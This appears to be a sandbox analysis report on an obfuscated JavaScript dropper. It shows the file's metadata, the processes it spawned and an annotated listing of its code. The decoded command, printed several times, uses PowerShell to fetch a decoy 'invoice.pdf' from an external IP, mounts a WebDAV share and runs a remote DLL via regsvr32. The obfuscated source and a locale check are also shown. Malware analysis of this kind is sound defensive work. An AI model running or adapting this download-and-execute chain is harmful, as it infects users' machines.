Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18119), with CRLF line terminators
Entropy (8bit):	4.898315798039857
TrID:
File name:	1709817689110827228.js
File size:	21'664 bytes
MD5:	c868aa212ad24b8867704ca76ac941bc
SHA1:	31a5ceb89b6d97c2927bf6ed64a1591c3f7ab235
SHA256:	90ed32cec456620e676a614a99d149751ae6855cc9a42b53b7915fec71410d67
SHA512:	9683d6c110f2da1bde57df2b1a59908051df041d2017b9327cbd556934bce40108d08900104a0c508e237d0d764a46d6fb3d859d9d51236a13f7979964f9b8f1
SSDEEP:	384:AqzqSaL/P4pRMxcyaqLR3ds8IvQs8qpqfTylEKrGl+uZS+UiQNQM:AqzqSaLIpucyaqLlds8IvQs8qpqfTylz
TLSH:	AEA2848AAC00BB13C1F601F16AC651789B9E530DCEC878CD3A2775E1266EA5DEDF2071
File Content Preview:	function nbctpqo(){vlfdrig=[1031,3079,5127,4103,2055,3072];var rvezktna=this[mlqvqa+cvwgtel+osbyuef+mlkacjoqm+qlbsqrpc+ysjmqld+bzrav+kurreivh](this[kgvnnvxlg+xyavylg+ihgoo+osbyuef+mgvbifti+mlqvqa+kurreivh][qgwkecx+osbyuef+qlbsqrpc+cvwgtel+kurreivh+qlbsqrp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	23:11:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js"
Imagebase:	0x7ff73a650000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:11:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll
Imagebase:	0x7ff6b7680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:11:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:11:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:11:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:11:55
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b7680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:11:56
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7882a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:11:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:11:56
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:11:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,9119001864217647023,8772681399431034704,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function nbctpqo() {	nbctpqo() ➔ undefined
1	vlfdrig = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rvezktna = this[mlqvqa + cvwgtel + osbyuef + mlkacjoqm + qlbsqrpc + ysjmqld + bzrav + kurreivh] ( this[kgvnnvxlg + xyavylg + ihgoo + osbyuef + mgvbifti + mlqvqa + kurreivh][qgwkecx + osbyuef + qlbsqrpc + cvwgtel + kurreivh + qlbsqrpc + kusghfntx + siuuztzme + vnvzzmeva + qlbsqrpc + ihgoo + kurreivh] ( kgvnnvxlg + xyavylg + ihgoo + osbyuef + mgvbifti + mlqvqa + kurreivh + pjmkwbsl + xyavylg + rljrb + qlbsqrpc + ajsztukm + ajsztukm ) [ooyzal + qlbsqrpc + wzkrcx + ooyzal + qlbsqrpc + cvwgtel + clnea] ( rfjdb + rxkxf + ftmarrs + rtpbftwv + rurzadnp + qgwkecx + ixsxedjd + ooyzal + ooyzal + ftmarrs + wwwsailns + txatimth + rurzadnp + ixsxedjd + xyavylg + ftmarrs + ooyzal + gdews + qgwkecx + dvxqtl + bzrav + kurreivh + osbyuef + dvxqtl + ajsztukm + iqbyheclf + pzxeb + cvwgtel + bzrav + qlbsqrpc + ajsztukm + gdews + ysjmqld + bzrav + kurreivh + qlbsqrpc + osbyuef + bzrav + cvwgtel + kurreivh + mgvbifti + dvxqtl + bzrav + cvwgtel + ajsztukm + gdews + deghak + dvxqtl + ihgoo + cvwgtel + ajsztukm + qlbsqrpc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zdrotid = 0 ; zdrotid < vlfdrig[ajsztukm + qlbsqrpc + bzrav + wzkrcx + kurreivh + rljrb] ; ++ zdrotid )
4	{
5	if ( rvezktna == vlfdrig[zdrotid] )
6	{
7	rvezktna = true;
8	break ;
9	}
10	}
11	if ( rvezktna !== true )
12	this[kgvnnvxlg + xyavylg + ihgoo + osbyuef + mgvbifti + mlqvqa + kurreivh][xblhisdo + bkkrqqi + mgvbifti + kurreivh] ( );
13	this[kgvnnvxlg + xyavylg + ihgoo + osbyuef + mgvbifti + mlqvqa + kurreivh][qgwkecx + osbyuef + qlbsqrpc + cvwgtel + kurreivh + qlbsqrpc + kusghfntx + siuuztzme + vnvzzmeva + qlbsqrpc + ihgoo + kurreivh] ( kgvnnvxlg + xyavylg + ihgoo + osbyuef + mgvbifti + mlqvqa + kurreivh + pjmkwbsl + xyavylg + rljrb + qlbsqrpc + ajsztukm + ajsztukm ) [osbyuef + bkkrqqi + bzrav] ( ihgoo + qlhdqrnwu + clnea + iqbyheclf + fftjruv + ihgoo + iqbyheclf + mlqvqa + dvxqtl + gnitxtqu + qlbsqrpc + osbyuef + mlkacjoqm + rljrb + qlbsqrpc + ajsztukm + ajsztukm + pjmkwbsl + qlbsqrpc + otjkpiuh + qlbsqrpc + iqbyheclf + mbtxiz + qgwkecx + dvxqtl + qlhdqrnwu + qlhdqrnwu + cvwgtel + bzrav + clnea + iqbyheclf + ntuazof + ysjmqld + bzrav + dqhumxsk + dvxqtl + vdhkzh + qlbsqrpc + mbtxiz + kgvnnvxlg + qlbsqrpc + siuuztzme + ooyzal + qlbsqrpc + lejhwge + bkkrqqi + qlbsqrpc + mlkacjoqm + kurreivh + iqbyheclf + mbtxiz + kusghfntx + bkkrqqi + kurreivh + bsetvq + mgvbifti + ajsztukm + qlbsqrpc + iqbyheclf + ttbrro + kurreivh + qlbsqrpc + qlhdqrnwu + mlqvqa + ttbrro + gdews + mgvbifti + bzrav + dqhumxsk + dvxqtl + mgvbifti + ihgoo + qlbsqrpc + pjmkwbsl + mlqvqa + clnea + pkgdmvim + iqbyheclf + rljrb + kurreivh + kurreivh + mlqvqa + qvlxrk + fftjruv + fftjruv + mnrtjlz + xyjclqvu + vhqevi + pjmkwbsl + mnrtjlz + ukqozg + vhqevi + pjmkwbsl + mnrtjlz + pjmkwbsl + bfbxana + bsrlg + eiwfku + fftjruv + mgvbifti + bzrav + dqhumxsk + dvxqtl + mgvbifti + ihgoo + qlbsqrpc + pjmkwbsl + mlqvqa + rljrb + mlqvqa + ntuazof + cxdltjvbl + cxdltjvbl + mlkacjoqm + kurreivh + cvwgtel + osbyuef + kurreivh + iqbyheclf + ttbrro + kurreivh + qlbsqrpc + qlhdqrnwu + mlqvqa + ttbrro + gdews + mgvbifti + bzrav + dqhumxsk + dvxqtl + mgvbifti + ihgoo + qlbsqrpc + pjmkwbsl + mlqvqa + clnea + pkgdmvim + cxdltjvbl + cxdltjvbl + ihgoo + qlhdqrnwu + clnea + iqbyheclf + fftjruv + ihgoo + iqbyheclf + bzrav + qlbsqrpc + kurreivh + iqbyheclf + bkkrqqi + mlkacjoqm + qlbsqrpc + iqbyheclf + gdews + gdews + mnrtjlz + xyjclqvu + vhqevi + pjmkwbsl + mnrtjlz + ukqozg + vhqevi + pjmkwbsl + mnrtjlz + pjmkwbsl + bfbxana + bsrlg + eiwfku + affjv + mkhflygm + mkhflygm + mkhflygm + mkhflygm + gdews + clnea + cvwgtel + dqhumxsk + gnitxtqu + gnitxtqu + gnitxtqu + osbyuef + dvxqtl + dvxqtl + kurreivh + gdews + cxdltjvbl + cxdltjvbl + ihgoo + qlhdqrnwu + clnea + iqbyheclf + fftjruv + ihgoo + iqbyheclf + osbyuef + qlbsqrpc + wzkrcx + mlkacjoqm + dqhumxsk + osbyuef + vhqevi + bfbxana + iqbyheclf + fftjruv + mlkacjoqm + iqbyheclf + gdews + gdews + mnrtjlz + xyjclqvu + vhqevi + pjmkwbsl + mnrtjlz + ukqozg + vhqevi + pjmkwbsl + mnrtjlz + pjmkwbsl + bfbxana + bsrlg + eiwfku + affjv + mkhflygm + mkhflygm + mkhflygm + mkhflygm + gdews + clnea + cvwgtel + dqhumxsk + gnitxtqu + gnitxtqu + gnitxtqu + osbyuef + dvxqtl + dvxqtl + kurreivh + gdews + bfbxana + ukqozg + bsrlg + yzjqztqdn + bfbxana + mnrtjlz + ukqozg + vhqevi + mnrtjlz + xjvdmea + mnrtjlz + xjvdmea + vhqevi + ukqozg + vhqevi + pjmkwbsl + clnea + ajsztukm + ajsztukm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll",0,false) ➔ 0
14	}
15	xyjclqvu = "k";
16	xyjclqvu = "e";
17	xyjclqvu = "v";
18	xyjclqvu = "y";
19	xyjclqvu = "I";
20	xyjclqvu = "g";
21	xyjclqvu = "m";
22	xyjclqvu = "Y";
23	xyjclqvu = "h";
24	xyjclqvu = "r";
25	xyjclqvu = "H";
26	xyjclqvu = "a";
27	xyjclqvu = "G";
28	xyjclqvu = "A";
29	xyjclqvu = "l";
30	xyjclqvu = "I";
31	xyjclqvu = "j";
32	xyjclqvu = "X";
33	xyjclqvu = "L";
34	xyjclqvu = "u";
35	xyjclqvu = "9";
36	qvlxrk = "X";
37	qvlxrk = "Y";
38	qvlxrk = "A";
39	qvlxrk = "s";
40	qvlxrk = "v";
41	qvlxrk = "p";
42	qvlxrk = "J";
43	qvlxrk = "S";
44	qvlxrk = "s";
45	qvlxrk = "k";
46	qvlxrk = "E";
47	qvlxrk = "E";
48	qvlxrk = "l";
49	qvlxrk = "d";
50	qvlxrk = "y";
51	qvlxrk = "o";
52	qvlxrk = "m";
53	qvlxrk = "x";
54	qvlxrk = "d";
55	qvlxrk = "w";
56	qvlxrk = "f";
57	qvlxrk = "r";
58	qvlxrk = "m";
59	qvlxrk = "p";
60	qvlxrk = "A";
61	qvlxrk = "G";
62	qvlxrk = ":";
63	mlqvqa = "w";
64	mlqvqa = "u";
65	mlqvqa = "g";
66	mlqvqa = "q";
67	mlqvqa = "o";
68	mlqvqa = "R";
69	mlqvqa = "b";
70	mlqvqa = "K";
71	mlqvqa = "T";
72	mlqvqa = "L";
73	mlqvqa = "t";
74	mlqvqa = "q";
75	mlqvqa = "E";
76	mlqvqa = "A";
77	mlqvqa = "u";
78	mlqvqa = "V";
79	mlqvqa = "D";
80	mlqvqa = "p";
81	mlqvqa = "v";
82	mlqvqa = "t";
83	mlqvqa = "X";
84	mlqvqa = "j";
85	mlqvqa = "K";
86	mlqvqa = "E";
87	mlqvqa = "X";
88	mlqvqa = "p";
89	mlqvqa = "F";
90	mlqvqa = "Q";
91	mlqvqa = "z";
92	mlqvqa = "C";
93	mlqvqa = "c";
94	mlqvqa = "G";
95	mlqvqa = "K";
96	mlqvqa = "e";
97	mlqvqa = "i";
98	mlqvqa = "v";
99	mlqvqa = "t";
100	mlqvqa = "a";
101	mlqvqa = "F";
102	mlqvqa = "e";
103	mlqvqa = "n";
104	mlqvqa = "p";
105	rljrb = "C";
106	rljrb = "X";
107	rljrb = "J";
108	rljrb = "H";
109	rljrb = "o";
110	rljrb = "I";
111	rljrb = "T";
112	rljrb = "x";
113	rljrb = "R";
114	rljrb = "h";
115	rljrb = "i";
116	rljrb = "X";
117	rljrb = "g";
118	rljrb = "V";
119	rljrb = "n";
120	rljrb = "k";
121	rljrb = "J";
122	rljrb = "r";
123	rljrb = "a";
124	rljrb = "X";
125	rljrb = "u";
126	rljrb = "f";
127	rljrb = "i";
128	rljrb = "c";
129	rljrb = "d";
130	rljrb = "U";
131	rljrb = "J";
132	rljrb = "K";
133	rljrb = "Y";
134	rljrb = "O";
135	rljrb = "L";
136	rljrb = "P";
137	rljrb = "d";
138	rljrb = "m";
139	rljrb = "l";
140	rljrb = "B";
141	rljrb = "R";
142	rljrb = "U";
143	rljrb = "o";
144	rljrb = "O";
145	rljrb = "M";
146	rljrb = "C";
147	rljrb = "X";
148	rljrb = "h";
149	osbyuef = "P";
150	osbyuef = "o";
151	osbyuef = "g";
152	osbyuef = "o";
153	osbyuef = "l";
154	osbyuef = "v";
155	osbyuef = "Y";
156	osbyuef = "C";
157	osbyuef = "H";
158	osbyuef = "R";
159	osbyuef = "w";
160	osbyuef = "m";
161	osbyuef = "L";
162	osbyuef = "V";
163	osbyuef = "X";
164	osbyuef = "G";
165	osbyuef = "Q";
166	osbyuef = "f";
167	osbyuef = "u";
168	osbyuef = "T";
169	osbyuef = "O";
170	osbyuef = "k";
171	osbyuef = "y";
172	osbyuef = "G";
173	osbyuef = "i";
174	osbyuef = "s";
175	osbyuef = "M";
176	osbyuef = "e";
177	osbyuef = "u";
178	osbyuef = "a";
179	osbyuef = "b";
180	osbyuef = "n";
181	osbyuef = "d";
182	osbyuef = "T";
183	osbyuef = "K";
184	osbyuef = "m";
185	osbyuef = "s";
186	osbyuef = "r";
187	gnitxtqu = "u";
188	gnitxtqu = "n";
189	gnitxtqu = "Y";
190	gnitxtqu = "E";
191	gnitxtqu = "p";
192	gnitxtqu = "p";
193	gnitxtqu = "K";
194	gnitxtqu = "V";
195	gnitxtqu = "g";
196	gnitxtqu = "p";
197	gnitxtqu = "T";
198	gnitxtqu = "S";
199	gnitxtqu = "T";
200	gnitxtqu = "G";
201	gnitxtqu = "o";
202	gnitxtqu = "x";
203	gnitxtqu = "s";
204	gnitxtqu = "d";
205	gnitxtqu = "t";
206	gnitxtqu = "u";
207	gnitxtqu = "n";
208	gnitxtqu = "v";
209	gnitxtqu = "g";
210	gnitxtqu = "P";
211	gnitxtqu = "w";
212	otjkpiuh = "Y";
213	otjkpiuh = "T";
214	otjkpiuh = "u";
215	otjkpiuh = "r";
216	otjkpiuh = "u";
217	otjkpiuh = "T";
218	otjkpiuh = "W";
219	otjkpiuh = "t";
220	otjkpiuh = "n";
221	otjkpiuh = "A";
222	otjkpiuh = "o";
223	otjkpiuh = "b";
224	otjkpiuh = "n";
225	otjkpiuh = "y";
226	otjkpiuh = "J";
227	otjkpiuh = "a";
228	otjkpiuh = "l";
229	otjkpiuh = "S";
230	otjkpiuh = "L";
231	otjkpiuh = "l";
232	otjkpiuh = "u";
233	otjkpiuh = "R";
234	otjkpiuh = "R";
235	otjkpiuh = "l";
236	otjkpiuh = "A";
237	otjkpiuh = "w";
238	otjkpiuh = "N";
239	otjkpiuh = "G";
240	otjkpiuh = "L";
241	otjkpiuh = "P";
242	otjkpiuh = "O";
243	otjkpiuh = "r";
244	otjkpiuh = "x";
245	eiwfku = "U";
246	eiwfku = "r";
247	eiwfku = "a";
248	eiwfku = "U";
249	eiwfku = "n";
250	eiwfku = "M";
251	eiwfku = "u";
252	eiwfku = "I";
253	eiwfku = "E";
254	eiwfku = "v";
255	eiwfku = "t";
256	eiwfku = "B";
257	eiwfku = "Q";
258	eiwfku = "b";
259	eiwfku = "u";
260	eiwfku = "J";
261	eiwfku = "5";
262	deghak = "M";
263	deghak = "e";
264	deghak = "n";
265	deghak = "z";
266	deghak = "R";
267	deghak = "S";
268	deghak = "p";
269	deghak = "w";
270	deghak = "o";
271	deghak = "G";
272	deghak = "B";
273	deghak = "e";
274	deghak = "j";
275	deghak = "u";
276	deghak = "F";
277	deghak = "l";
278	deghak = "A";
279	deghak = "K";
280	deghak = "C";
281	deghak = "g";
282	deghak = "k";
283	deghak = "i";
284	deghak = "P";
285	deghak = "v";
286	deghak = "V";
287	deghak = "H";
288	deghak = "v";
289	deghak = "g";
290	deghak = "I";
291	deghak = "Z";
292	deghak = "p";
293	deghak = "d";
294	deghak = "S";
295	deghak = "L";
296	cvwgtel = "h";
297	cvwgtel = "Z";
298	cvwgtel = "C";
299	cvwgtel = "V";
300	cvwgtel = "D";
301	cvwgtel = "a";
302	cvwgtel = "b";
303	cvwgtel = "S";
304	cvwgtel = "q";
305	cvwgtel = "Q";
306	cvwgtel = "j";
307	cvwgtel = "Y";
308	cvwgtel = "N";
309	cvwgtel = "Y";
310	cvwgtel = "s";
311	cvwgtel = "K";
312	cvwgtel = "r";
313	cvwgtel = "k";
314	cvwgtel = "E";
315	cvwgtel = "a";
316	cvwgtel = "x";
317	cvwgtel = "z";
318	cvwgtel = "x";
319	cvwgtel = "Y";
320	cvwgtel = "Y";
321	cvwgtel = "N";
322	cvwgtel = "Z";
323	cvwgtel = "T";
324	cvwgtel = "a";
325	cvwgtel = "F";
326	cvwgtel = "x";
327	cvwgtel = "b";
328	cvwgtel = "t";
329	cvwgtel = "d";
330	cvwgtel = "U";
331	cvwgtel = "K";
332	cvwgtel = "t";
333	cvwgtel = "F";
334	cvwgtel = "G";
335	cvwgtel = "Z";
336	cvwgtel = "Y";
337	cvwgtel = "J";
338	cvwgtel = "a";
339	vnvzzmeva = "y";
340	vnvzzmeva = "G";
341	vnvzzmeva = "y";
342	vnvzzmeva = "Y";
343	vnvzzmeva = "a";
344	vnvzzmeva = "R";
345	vnvzzmeva = "u";
346	vnvzzmeva = "b";
347	vnvzzmeva = "C";
348	vnvzzmeva = "L";
349	vnvzzmeva = "W";
350	vnvzzmeva = "h";
351	vnvzzmeva = "w";
352	vnvzzmeva = "o";
353	vnvzzmeva = "G";
354	vnvzzmeva = "D";
355	vnvzzmeva = "P";
356	vnvzzmeva = "F";
357	vnvzzmeva = "g";
358	vnvzzmeva = "t";
359	vnvzzmeva = "w";
360	vnvzzmeva = "D";
361	vnvzzmeva = "F";
362	vnvzzmeva = "j";
363	vdhkzh = "N";
364	vdhkzh = "H";
365	vdhkzh = "D";
366	vdhkzh = "q";
367	vdhkzh = "J";
368	vdhkzh = "o";
369	vdhkzh = "U";
370	vdhkzh = "d";
371	vdhkzh = "N";
372	vdhkzh = "C";
373	vdhkzh = "z";
374	vdhkzh = "w";
375	vdhkzh = "h";
376	vdhkzh = "r";
377	vdhkzh = "Q";
378	vdhkzh = "H";
379	vdhkzh = "o";
380	vdhkzh = "m";
381	vdhkzh = "p";
382	vdhkzh = "J";
383	vdhkzh = "S";
384	vdhkzh = "a";
385	vdhkzh = "b";
386	vdhkzh = "l";
387	vdhkzh = "F";
388	vdhkzh = "h";
389	vdhkzh = "x";
390	vdhkzh = "S";
391	vdhkzh = "Z";
392	vdhkzh = "y";
393	vdhkzh = "b";
394	vdhkzh = "k";
395	vdhkzh = "O";
396	vdhkzh = "S";
397	vdhkzh = "r";
398	vdhkzh = "Z";
399	vdhkzh = "u";
400	vdhkzh = "v";
401	vdhkzh = "T";
402	vdhkzh = "G";
403	vdhkzh = "v";
404	vdhkzh = "e";
405	vdhkzh = "r";
406	vdhkzh = "q";
407	vdhkzh = "k";
408	affjv = "T";
409	affjv = "s";
